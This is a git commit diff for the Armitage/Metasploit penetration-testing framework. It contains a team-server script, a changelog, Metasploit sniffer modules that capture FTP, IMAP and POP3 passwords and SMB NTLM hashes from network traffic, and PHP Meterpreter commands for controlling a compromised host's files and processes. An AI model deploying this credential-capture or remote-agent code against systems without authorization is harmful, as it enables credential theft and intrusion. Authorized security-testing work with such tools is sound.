This commit is contained in:
RageLtMan
2012-05-18 12:57:21 -04:00
8399 changed files with 1023069 additions and 41990 deletions
-3
View File
@@ -1,3 +0,0 @@
[submodule "lib/msf3"]
path = lib/msf3
url = git@framework.github.com:rapid7/metasploit-framework.git
Executable
+8
View File
@@ -0,0 +1,8 @@
source 'http://rubygems.org'
gem 'rails', '3.2.2'
gem 'metasploit_data_models', '0.0.2', :git => "git://github.com/rapid7/metasploit_data_models.git"
gem 'pg', '>=0.13'
gem 'msgpack'
gem 'nokogiri'
Binary file not shown.
+72
View File
@@ -0,0 +1,72 @@
#!/bin/bash
# start msfrpcd and the deconfliction server. Check for common mistakes
# to save some time and head scratching...
# check the arguments
EXPECTED=2
if [ $# -ne $EXPECTED ]; then
echo "[-] You must provide: <external IP address> <team password>"
echo " <external IP address> must be reachable by Armitage"
echo " clients on port 55553"
echo " <team password> is a shared password your team uses to"
echo " authenticate to the Armitage team server"
exit
fi
# check that we're r00t
if [ $UID -ne 0 ]; then
echo "[-] Superuser privileges are required to run the team server"
exit
fi
# check if java is available...
if [ $(command -v java) ]; then
true
else
echo "[-] java is not in \$PATH"
echo " is Java installed?"
exit
fi
# check if keytool is available...
if [ $(command -v keytool) ]; then
true
else
echo "[-] keytool is not in \$PATH"
echo " install the Java Developer Kit"
exit
fi
# check if msfrpcd is available
if [ $(command -v msfrpcd) ]; then
true
else
echo "[-] msfrpcd is not in \$PATH"
echo " is Metasploit installed?"
exit
fi
# check if msfrpcd is running or not
if [ "$(pidof msfrpcd)" ]; then
echo "[-] msfrpcd is already running. Kill it before running this script"
echo " try: killall -9 msfrpcd"
exit
fi
# generate a certificate
# naturally you're welcome to replace this step with your own permanent certificate.
# just make sure you pass -Djavax.net.ssl.keyStore="/path/to/whatever" and
# -Djavax.net.ssl.keyStorePassword="password" to java. This is used for setting up
# an SSL server socket. Also, the SHA-1 digest of the first certificate in the store
# is printed so users may have a chance to verify they're not being owned.
echo "[+] Generating X509 certificate and keystore (for SSL)"
rm -f ./armitage.store
keytool -keystore ./armitage.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias armitage -dname "CN=Armitage Hacker, OU=FastAndEasyHacking, O=Armitage, L=Somewhere, S=Cyberspace, C=Earth"
# start everything up
echo "[+] Starting RPC daemon"
msfrpcd -U msf -P $2 -a 127.0.0.1 -p 55554 -S
echo "[+] sleeping for 20s (to let msfrpcd initialize)"
sleep 20
echo "[+] Starting Armitage team server"
java -Djavax.net.ssl.keyStore=./armitage.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+UseParallelGC -jar armitage.jar --server $1 55554 msf $2 55553
+98
View File
@@ -1,6 +1,104 @@
Armitage Changelog
==================
17 May 12
---------
- Fixed bug with loot/download viewer breaking with a font resize.
- Default console font color is now grey. I never noticed that I had
white text on a black background before. That's a lot of contrast.
This is adjustable too through Armitage -> Preferences.
- And... the Armitage console now displays pretty colors. If you don't
like colors, set the console.show_colors.boolean preference to false
through Armitage -> Preferences.
- Fixed a bug preventing input field from getting focus when popping a
console tab using Ctrl+W.
14 May 12
---------
- Oopserific--dynamic workspace shortcuts were not bound until you
clicked the Workspaces menu. I fixed that.
- Improved console pool's ability to detect a dead console. If you saw
"null" prompts in an open tab, it's because of a dead console. Fixed
- Bound Ctrl+Backspace to reset dynamic workspaces. Ctrl+0 is now back
to what it originally did (resetting the font size to default).
- Added Ctrl+T to take a screenshot of the active tab
- Added Ctrl+W to pop the active tab into its own window
- Armitage team server is now SSL enabled. The teamserver script (you
are using it, right?) generates a certificate for you using keytool.
The server presents the SHA1 hash of its certificate. Armitage users
have the opportunity to verify and trust the hash of the certificate
presented to them or to reject it and not connect.
- Added Ctrl+Left / Ctrl+Right to quickly navigate through tabs.
- Added a check to prevent clients from connecting to msfrpcd directly
when teaming is enabled.
- Fixed a bug that prevented command shells from opening on some sessions
- Team server client now caches certain calls to RPC server.
- Reworked the Loot/Downloads View button. Now, all highlighted files are
displayed in one View tab. This makes searching easier. Each file is
displayed with a colored header (to make it easier to tell when one file
ends and the other begins).
- Added Sync Files button to Loot/Downloads tabs when connected to a team
server. This button will download all files associated with the highlighted
rows and save them in the Armitage data directory.
7 May 12
--------
Note: Armitage team server setup has changed. Refer to the manual for
the latest information: http://www.fastandeasyhacking.com/manual#7
- Armitage team mode now routes all Metasploit-bound calls through the
deconfliction server. Armitage also pools "temporary" Metasploit
consoles. It's too bad this is logged as one change, because it's
more like twenty. These changes were motivated by a desire to avoid
triggering a race condition that was introduced w/ Metasploit 4.3.0.
http://dev.metasploit.com/redmine/issues/6829
On the bright side these changes will allow a lot more flexibility
to optimize how Armitage interacts with msfrpcd and to do some neat
things (like logging) in a centralized way.
- Module description (in module launch dialog) is now resizable.
- Added Ctrl+D keyboard shortcut to close active tab.
- Armitage now uses (more robust) console queue for launching post
modules, handlers, brute force attacks, and other things.
- Fixed a race condition in the Jobs tab refresh after killing a job
- Armitage now filters smb hashes from non-psexec/smb login dialogs.
- Added armitage.log_data_here.folder setting. This setting lets you
specify where Armitage will save its logs, downloaded files, and
screenshots. *cough* Some penetration testers like to dump everything
to an encrypted volume. *cough*. I apologize it took this long to
get this feature in place.
- Improved perceived responsiveness of a console interaction
17 Apr 12
---------
- Modified how Armitage determines a console command is complete to stay
compat with behavior changes in a recent Metasploit update.
- Armitage now queues console commands to prevent out of order execution.
16 Apr 12
---------
- The search field in the module browser now updates results in real time.
Start typing and Armitage will start filtering the module tree for you.
Clear the field to reset it to the default state.
- Added keyboard shortcuts to switch dynamic workspaces...
Ctrl+1 = first workspace
Ctrl+2 = second workspace
....
Ctrl+0 = show all
- Added keyboard shortcuts:
Ctrl+N = new console
Ctrl+O = open preferences
- Armitage's Meterpreter -> Access -> Dump Hashes -> lsass method is now
much better about grabbing all of the hashdump output and adding it to
the creds table. The hashdump command returns output as an arbitrary
number of chunks. I now use a different read strategy for determining when
the output is complete.
- You may now use Ctrl+Alt to deselect highlighted items in a range in the
Jobs and Workspaces table views (most other table views that do multi
selection should allow this already).
- Added Shell -> Pass Session for *NIX shell sessions. Uses the system_session
module to pass a shell session elsewhere (or duplicate the current shell)
29 Mar 12
---------
- Fixed a bug that affects first-time users. Armitage was not initializing a
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,3 @@
Manifest-Version: 1.0
SVG-Handler-Class: Exploit
+11 -11
View File
@@ -15,6 +15,7 @@ class SnifferFTP < BaseProtocolParser
:pass => /^PASS\s+([^\s]+)/i,
:login_pass => /^(230\s*[^\n]+)/i,
:login_fail => /^(5\d\d\s*[^\n]+)/i,
:bye => /^221/
}
end
@@ -23,6 +24,7 @@ class SnifferFTP < BaseProtocolParser
return unless pkt.is_tcp?
return if (pkt.tcp_sport != 21 and pkt.tcp_dport != 21)
s = find_session((pkt.tcp_sport == 21) ? get_session_src(pkt) : get_session_dst(pkt))
s[:sname] ||= "ftp"
self.sigs.each_key do |k|
# There is only one pattern per run to test
@@ -38,21 +40,17 @@ class SnifferFTP < BaseProtocolParser
when :login_fail
if(s[:user] and s[:pass])
s[:proto]="ftp"
s[:extra]="Failed Login. Banner: #{s[:banner]}"
report_auth_info(s)
print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
report_auth_info(s.merge({:active => false}))
print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
s[:pass]=""
s[:pass] = ""
return
end
when :login_pass
if(s[:user] and s[:pass])
s[:proto]="ftp"
s[:extra]="Successful Login. Banner: #{s[:banner]}"
report_auth_info(s)
print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
# Remove it form the session objects so freeup memory
sessions.delete(s[:session])
return
@@ -60,12 +58,14 @@ class SnifferFTP < BaseProtocolParser
when :banner
# Because some ftp server send multiple banner we take only the first one and ignore the rest
if not (s[:banner])
sessions[s[:session]].merge!({k => matches})
s[:name]="FTP Server Welcome Banner: \"#{s[:banner]}\""
if not (s[:info])
s[:info] = matches
report_service(s)
end
when :bye
sessions.delete(s[:session])
when nil
# No matches, no saved state
else
+4 -10
View File
@@ -25,6 +25,7 @@ class SnifferIMAP < BaseProtocolParser
return unless pkt.is_tcp?
return if (pkt.tcp_sport != 143 and pkt.tcp_dport != 143)
s = find_session((pkt.tcp_sport == 143) ? get_session_src(pkt) : get_session_dst(pkt))
s[:sname] ||= "imap4"
self.sigs.each_key do |k|
# There is only one pattern per run to test
@@ -38,14 +39,11 @@ class SnifferIMAP < BaseProtocolParser
case matched
when :banner
s[:banner] = matches
s[:name] = "IMAP Server Welcome Banner: #{s[:banner]}"
s[:info] = matches
report_service(s)
when :login_pass
s[:proto]="imap4"
s[:extra]="Sucessful Login. Banner: #{s[:banner]}"
report_auth_info(s)
print_status("Successful IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
@@ -54,18 +52,14 @@ class SnifferIMAP < BaseProtocolParser
when :login_fail
s[:proto]="imap4"
s[:extra]="Failed Login. Banner: #{s[:banner]}"
report_auth_info(s)
report_auth_info(s.merge({:active => false}))
print_status("Failed IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
# Remove it form the session objects so freeup
sessions.delete(s[:session])
when :login_bad
s[:proto]="imap4"
s[:extra]="Failed Login. Banner: #{s[:banner]}"
report_auth_info(s)
report_auth_info(s.merge({:active => false}))
print_status("Bad IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
# Remove it form the session objects so freeup
+6 -4
View File
@@ -38,8 +38,9 @@ class SnifferPOP3 < BaseProtocolParser
case s[:last]
when nil
# Its the first +OK must include the banner, worst case its just +OK
s[:banner] = matches
s[:name] = "POP3 Server Welcome Banner: \"#{s[:banner]}\""
s[:info] = matches
s[:proto] = "tcp"
s[:name] = "pop3"
report_service(s)
when :user
@@ -48,8 +49,9 @@ class SnifferPOP3 < BaseProtocolParser
when :pass
# Perfect we get an +OK after a PASS command this means right password given :-)
s[:proto]="pop3"
s[:extra]="Successful Login. Banner: #{s[:banner]}"
s[:proto] = "tcp"
s[:name] = "pop3"
s[:extra] = "Successful Login. Banner: #{s[:banner]}"
report_auth_info(s)
print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
+143 -134
View File
@@ -5,26 +5,31 @@
#
#Memo :
# Authentification without extended security set
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 and contains server challenge (aka encryption key) and wordcount = 17
#3) client -> server : smb_setup_andx (0x73) : contains lm/ntlm hashes and wordcount = 13 (not 0)
#4) server -> client : smb_setup_andx (0x73) : if status = success then authentification ok
#FOR SMBV1
# Authentification without extended security set
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 and contains server challenge (aka encryption key) and wordcount = 17
#3) client -> server : smb_setup_andx (0x73) : contains lm/ntlm hashes and wordcount = 13 (not 0)
#4) server -> client : smb_setup_andx (0x73) : if status = success then authentification ok
# Authentification with extended security set
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
#3) client -> server : smb_setup_andx (0x73) : contains an ntlm_type1 message
#4) server -> client : smb_setup_andx (0x73) : contains an ntlm_type2 message with the server challenge
#5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes
#6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok
# Authentification with extended security set
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
#3) client -> server : smb_setup_andx (0x73) : contains an ntlm_type1 message
#4) server -> client : smb_setup_andx (0x73) : contains an ntlm_type2 message with the server challenge
#5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes
#6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok
#FOR SMBV2
#SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response
class SnifferSMB < BaseProtocolParser
def register_sigs
self.sigs = {
:setupandx => /\xffSMB\x73/,
:negotiate => /\xffSMB\x72/,
:smb1_negotiate => /\xffSMB\x72/n,
:smb1_setupandx => /\xffSMB\x73/n,
#:smb2_negotiate => /\xFESMB\x40\x00(.){6}\x00\x00/n,
:smb2_setupandx => /\xFESMB\x40\x00(.){6}\x01\x00/n
}
end
@@ -45,7 +50,7 @@ class SnifferSMB < BaseProtocolParser
end
case matched
when :negotiate
when :smb1_negotiate
payload = pkt.payload.dup
wordcount = payload[36,1].unpack("C")[0]
#negotiate response
@@ -54,128 +59,16 @@ class SnifferSMB < BaseProtocolParser
#the server challenge is here
if flags2 & 0x800 == 0
s[:challenge] = payload[73,8].unpack("H*")[0]
s[:last] = :negotiate
s[:last] = :smb1_negotiate
end
end
when :setupandx
payload = pkt.payload.dup
ntlmpayload = payload[/NTLMSSP\x00.*/m]
if ntlmpayload
ntlmmessagetype = ntlmpayload[8,4].unpack("V")[0]
case ntlmmessagetype
when 2 # challenge
s[:challenge] = ntlmpayload[24,8].unpack("H*")[0]
s[:last] = :ntlm_type2
when 3 # auth
if s[:last] == :ntlm_type2
lmlength = ntlmpayload[12, 2].unpack("v")[0]
lmoffset = ntlmpayload[16, 2].unpack("v")[0]
ntlmlength = ntlmpayload[20, 2].unpack("v")[0]
ntlmoffset = ntlmpayload[24, 2].unpack("v")[0]
domainlength = ntlmpayload[28, 2].unpack("v")[0]
domainoffset = ntlmpayload[32, 2].unpack("v")[0]
usrlength = ntlmpayload[36, 2].unpack("v")[0]
usroffset = ntlmpayload[40, 2].unpack("v")[0]
s[:lmhash] = ntlmpayload[lmoffset, lmlength].unpack("H*")[0] || ''
s[:ntlmhash] = ntlmpayload[ntlmoffset, ntlmlength].unpack("H*")[0] || ''
s[:domain] = ntlmpayload[domainoffset, domainlength].gsub("\x00","") || ''
s[:user] = ntlmpayload[usroffset, usrlength].gsub("\x00","") || ''
secbloblength = payload[51,2].unpack("v")[0]
names = (payload[63..-1][secbloblength..-1] || '').split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
s[:peer_os] = names[0] || ''
s[:peer_lm] = names[1] || ''
s[:last] = :ntlm_type3
end
end
else
wordcount = payload[36,1].unpack("C")[0]
#authentification without smb extended security (smbmount, msf server capture)
if wordcount == 13 and s[:last] == :negotiate
lmlength = payload[51,2].unpack("v")[0]
ntlmlength = payload[53,2].unpack("v")[0]
s[:lmhash] = payload[65,lmlength].unpack("H*")[0]
s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0]
names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
s[:user] = names[0]
s[:domain] = names[1]
s[:peer_os] = names[2]
s[:peer_lm] = names[3]
s[:last] = :smb_no_ntlm
else
#answer from server
if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm
#do not output anonymous/guest logging
unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m
#set lmhash to a default value if not provided
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash]
smb_status = payload[9,4].unpack("V")[0]
if smb_status == 0 # success
ntlm_ver = detect_ntlm_ver(s[:lmhash],s[:ntlmhash])
logmessage =
"#{ntlm_ver} Response Captured in session : #{s[:session]} \n" +
"USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" +
"SERVER CHALLENGE:#{s[:challenge]} " +
"\nLMHASH:#{s[:lmhash]} " +
"\nNTHASH:#{s[:ntlmhash]}\n"
print_status(logmessage)
src_ip = s[:host]
dst_ip = s[:session].split("-")[1].split(":")[0]
# know this is ugly , last code added :-/
smb_db_type_hash = case ntlm_ver
when "NTLMv1" then "smb_netv1_hash"
when "NTLM2_SESSION" then "smb_netv1_hash"
when "NTLMv2" then "smb_netv2_hash"
end
# DB reporting
report_auth_info(
:host => dst_ip,
:port => 445,
:sname => 'smb',
:user => s[:user],
:pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
:type => smb_db_type_hash,
:proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}",
:active => true
)
report_note(
:host => src_ip,
:type => "smb_peer_os",
:data => s[:peer_os]
) if (s[:peer_os] and s[:peer_os].strip.length > 0)
report_note(
:host => src_ip,
:type => "smb_peer_lm",
:data => s[:peer_lm]
) if (s[:peer_lm] and s[:peer_lm].strip.length > 0)
report_note(
:host => src_ip,
:type => "smb_domain",
:data => s[:domain]
) if (s[:domain] and s[:domain].strip.length > 0)
end
end
end
s[:last] = nil
sessions.delete(s[:session])
end
end
when :smb1_setupandx
s[:smb_version] = "SMBv1"
parse_sessionsetup(pkt, s)
when :smb2_setupandx
s[:smb_version] = "SMBv2"
parse_sessionsetup(pkt, s)
when nil
# No matches, no saved state
else
@@ -197,6 +90,122 @@ class SnifferSMB < BaseProtocolParser
else
raise RuntimeError, "Unknow hash type"
end
end
def parse_sessionsetup(pkt, s)
payload = pkt.payload.dup
ntlmpayload = payload[/NTLMSSP\x00.*/m]
if ntlmpayload
ntlmmessagetype = ntlmpayload[8,4].unpack("V")[0]
case ntlmmessagetype
when 2 # challenge
s[:challenge] = ntlmpayload[24,8].unpack("H*")[0]
s[:last] = :ntlm_type2
when 3 # auth
if s[:last] == :ntlm_type2
lmlength = ntlmpayload[12, 2].unpack("v")[0]
lmoffset = ntlmpayload[16, 2].unpack("v")[0]
ntlmlength = ntlmpayload[20, 2].unpack("v")[0]
ntlmoffset = ntlmpayload[24, 2].unpack("v")[0]
domainlength = ntlmpayload[28, 2].unpack("v")[0]
domainoffset = ntlmpayload[32, 2].unpack("v")[0]
usrlength = ntlmpayload[36, 2].unpack("v")[0]
usroffset = ntlmpayload[40, 2].unpack("v")[0]
s[:lmhash] = ntlmpayload[lmoffset, lmlength].unpack("H*")[0] || ''
s[:ntlmhash] = ntlmpayload[ntlmoffset, ntlmlength].unpack("H*")[0] || ''
s[:domain] = ntlmpayload[domainoffset, domainlength].gsub("\x00","") || ''
s[:user] = ntlmpayload[usroffset, usrlength].gsub("\x00","") || ''
secbloblength = payload[51,2].unpack("v")[0]
names = (payload[63..-1][secbloblength..-1] || '').split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
s[:peer_os] = names[0] || ''
s[:peer_lm] = names[1] || ''
s[:last] = :ntlm_type3
end
end
else
wordcount = payload[36,1].unpack("C")[0]
#authentification without smb extended security (smbmount, msf server capture)
if wordcount == 13 and s[:last] == :smb1_negotiate and s[:smb_version] == "SMBv1"
lmlength = payload[51,2].unpack("v")[0]
ntlmlength = payload[53,2].unpack("v")[0]
s[:lmhash] = payload[65,lmlength].unpack("H*")[0]
s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0]
names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
s[:user] = names[0]
s[:domain] = names[1]
s[:peer_os] = names[2]
s[:peer_lm] = names[3]
s[:last] = :smb_no_ntlm
else
#answer from server
if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm
#do not output anonymous/guest logging
unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m
#set lmhash to a default value if not provided
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash]
smb_status = payload[9,4].unpack("V")[0]
if smb_status == 0 # success
ntlm_ver = detect_ntlm_ver(s[:lmhash],s[:ntlmhash])
logmessage =
"#{ntlm_ver} Response Captured in #{s[:smb_version]} session : #{s[:session]} \n" +
"USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" +
"SERVER CHALLENGE:#{s[:challenge]} " +
"\nLMHASH:#{s[:lmhash]} " +
"\nNTHASH:#{s[:ntlmhash]}\n"
print_status(logmessage)
src_ip = s[:client_host]
dst_ip = s[:host]
# know this is ugly , last code added :-/
smb_db_type_hash = case ntlm_ver
when "NTLMv1" then "smb_netv1_hash"
when "NTLM2_SESSION" then "smb_netv1_hash"
when "NTLMv2" then "smb_netv2_hash"
end
# DB reporting
report_auth_info(
:host => dst_ip,
:port => 445,
:sname => 'smb',
:user => s[:user],
:pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
:type => smb_db_type_hash,
:proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}",
:active => true
)
report_note(
:host => src_ip,
:type => "smb_peer_os",
:data => s[:peer_os]
) if (s[:peer_os] and s[:peer_os].strip.length > 0)
report_note(
:host => src_ip,
:type => "smb_peer_lm",
:data => s[:peer_lm]
) if (s[:peer_lm] and s[:peer_lm].strip.length > 0)
report_note(
:host => src_ip,
:type => "smb_domain",
:data => s[:domain]
) if (s[:domain] and s[:domain].strip.length > 0)
end
end
end
s[:last] = nil
sessions.delete(s[:session])
end
end
end
end
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
+95 -6
View File
@@ -283,6 +283,7 @@ function cononicalize_path($path) {
# traditionally used this to get environment variables from the server.
#
if (!function_exists('stdapi_fs_file_expand_path')) {
register_command('stdapi_fs_file_expand_path');
function stdapi_fs_file_expand_path($req, &$pkt) {
my_print("doing expand_path");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
@@ -320,8 +321,29 @@ function stdapi_fs_file_expand_path($req, &$pkt) {
}
}
if (!function_exists('stdapi_fs_delete_dir')) {
register_command('stdapi_fs_delete_dir');
function stdapi_fs_delete_dir($req, &$pkt) {
my_print("doing rmdir");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
$ret = @rmdir(cononicalize_path($path_tlv['value']));
return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
}
}
if (!function_exists('stdapi_fs_mkdir')) {
register_command('stdapi_fs_mkdir');
function stdapi_fs_mkdir($req, &$pkt) {
my_print("doing mkdir");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
$ret = @mkdir(cononicalize_path($path_tlv['value']));
return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
}
}
# works
if (!function_exists('stdapi_fs_chdir')) {
register_command('stdapi_fs_chdir');
function stdapi_fs_chdir($req, &$pkt) {
my_print("doing chdir");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
@@ -332,6 +354,7 @@ function stdapi_fs_chdir($req, &$pkt) {
# works
if (!function_exists('stdapi_fs_delete')) {
register_command('stdapi_fs_delete');
function stdapi_fs_delete($req, &$pkt) {
my_print("doing delete");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_NAME);
@@ -342,6 +365,7 @@ function stdapi_fs_delete($req, &$pkt) {
# works
if (!function_exists('stdapi_fs_getwd')) {
register_command('stdapi_fs_getwd');
function stdapi_fs_getwd($req, &$pkt) {
my_print("doing pwd");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_DIRECTORY_PATH, getcwd()));
@@ -352,6 +376,7 @@ function stdapi_fs_getwd($req, &$pkt) {
# works partially, need to get the path argument to mean the same thing as in
# windows
if (!function_exists('stdapi_fs_ls')) {
register_command('stdapi_fs_ls');
function stdapi_fs_ls($req, &$pkt) {
my_print("doing ls");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
@@ -392,6 +417,7 @@ function stdapi_fs_ls($req, &$pkt) {
}
if (!function_exists('stdapi_fs_separator')) {
register_command('stdapi_fs_separator');
function stdapi_fs_separator($req, &$pkt) {
packet_add_tlv($pkt, create_tlv(TLV_TYPE_STRING, DIRECTORY_SEPARATOR));
return ERROR_SUCCESS;
@@ -399,6 +425,7 @@ function stdapi_fs_separator($req, &$pkt) {
}
if (!function_exists('stdapi_fs_stat')) {
register_command('stdapi_fs_stat');
function stdapi_fs_stat($req, &$pkt) {
my_print("doing stat");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
@@ -431,6 +458,7 @@ function stdapi_fs_stat($req, &$pkt) {
# works
if (!function_exists('stdapi_fs_delete_file')) {
register_command('stdapi_fs_delete_file');
function stdapi_fs_delete_file($req, &$pkt) {
my_print("doing delete");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
@@ -446,6 +474,7 @@ function stdapi_fs_delete_file($req, &$pkt) {
}
if (!function_exists('stdapi_fs_search')) {
register_command('stdapi_fs_search');
function stdapi_fs_search($req, &$pkt) {
my_print("doing search");
@@ -483,10 +512,50 @@ function stdapi_fs_search($req, &$pkt) {
}
}
if (!function_exists('stdapi_fs_md5')) {
register_command("stdapi_fs_md5");
function stdapi_fs_md5($req, &$pkt) {
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
$path = cononicalize_path($path_tlv['value']);
if (is_callable("md5_file")) {
$md5 = md5_file($path);
} else {
$md5 = md5(file_get_contents($path));
}
$md5 = pack("H*", $md5);
# Ghetto abuse of file name type to indicate the md5 result
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $md5));
return ERROR_SUCCESS;
}
}
if (!function_exists('stdapi_fs_sha1')) {
register_command("stdapi_fs_sha1");
function stdapi_fs_sha1($req, &$pkt) {
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
$path = cononicalize_path($path_tlv['value']);
if (is_callable("sha1_file")) {
$sha1 = sha1_file($path);
} else {
$sha1 = sha1(file_get_contents($path));
}
$sha1 = pack("H*", $sha1);
# Ghetto abuse of file name type to indicate the sha1 result
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $sha1));
return ERROR_SUCCESS;
}
}
# Sys Config
# works
if (!function_exists('stdapi_sys_config_getuid')) {
register_command('stdapi_sys_config_getuid');
function stdapi_sys_config_getuid($req, &$pkt) {
my_print("doing getuid");
if (is_callable('posix_getuid')) {
@@ -505,15 +574,17 @@ function stdapi_sys_config_getuid($req, &$pkt) {
}
# Unimplemented becuase it's unimplementable
if (!function_exists('stdapi_sys_config_rev2self')) {
function stdapi_sys_config_rev2self($req, &$pkt) {
my_print("doing rev2self");
return ERROR_FAILURE;
}
}
#if (!function_exists('stdapi_sys_config_rev2self')) {
#register_command('stdapi_sys_config_rev2self');
#function stdapi_sys_config_rev2self($req, &$pkt) {
# my_print("doing rev2self");
# return ERROR_FAILURE;
#}
#}
# works
if (!function_exists('stdapi_sys_config_sysinfo')) {
register_command('stdapi_sys_config_sysinfo');
function stdapi_sys_config_sysinfo($req, &$pkt) {
my_print("doing sysinfo");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMPUTER_NAME, php_uname("n")));
@@ -526,6 +597,7 @@ function stdapi_sys_config_sysinfo($req, &$pkt) {
$GLOBALS['processes'] = array();
if (!function_exists('stdapi_sys_process_execute')) {
register_command('stdapi_sys_process_execute');
function stdapi_sys_process_execute($req, &$pkt) {
global $channel_process_map, $processes;
@@ -600,6 +672,7 @@ function stdapi_sys_process_execute($req, &$pkt) {
if (!function_exists('stdapi_sys_process_close')) {
register_command('stdapi_sys_process_close');
function stdapi_sys_process_close($req, &$pkt) {
global $processes;
my_print("doing process_close");
@@ -653,6 +726,7 @@ function close_process($proc) {
# to decide what options to send to ps for portability and for information
# usefulness.
if (!function_exists('stdapi_sys_process_get_processes')) {
register_command('stdapi_sys_process_get_processes');
function stdapi_sys_process_get_processes($req, &$pkt) {
my_print("doing get_processes");
$list = array();
@@ -702,6 +776,7 @@ function stdapi_sys_process_get_processes($req, &$pkt) {
# works
if (!function_exists('stdapi_sys_process_getpid')) {
register_command('stdapi_sys_process_getpid');
function stdapi_sys_process_getpid($req, &$pkt) {
my_print("doing getpid");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, getmypid()));
@@ -710,6 +785,7 @@ function stdapi_sys_process_getpid($req, &$pkt) {
}
if (!function_exists('stdapi_sys_process_kill')) {
register_command('stdapi_sys_process_kill');
function stdapi_sys_process_kill($req, &$pkt) {
# The existence of posix_kill is unlikely (it's a php compile-time option
# that isn't enabled by default, but better to try it and avoid shelling
@@ -740,6 +816,7 @@ function stdapi_sys_process_kill($req, &$pkt) {
}
if (!function_exists('stdapi_net_socket_tcp_shutdown')) {
register_command('stdapi_net_socket_tcp_shutdown');
function stdapi_net_socket_tcp_shutdown($req, &$pkt) {
my_print("doing stdapi_net_socket_tcp_shutdown");
$cid_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
@@ -780,6 +857,9 @@ function deregister_registry_key($id) {
if (!function_exists('stdapi_registry_create_key')) {
if (is_windows() and is_callable('reg_open_key')) {
register_command('stdapi_registry_create_key');
}
function stdapi_registry_create_key($req, &$pkt) {
my_print("doing stdapi_registry_create_key");
if (is_windows() and is_callable('reg_open_key')) {
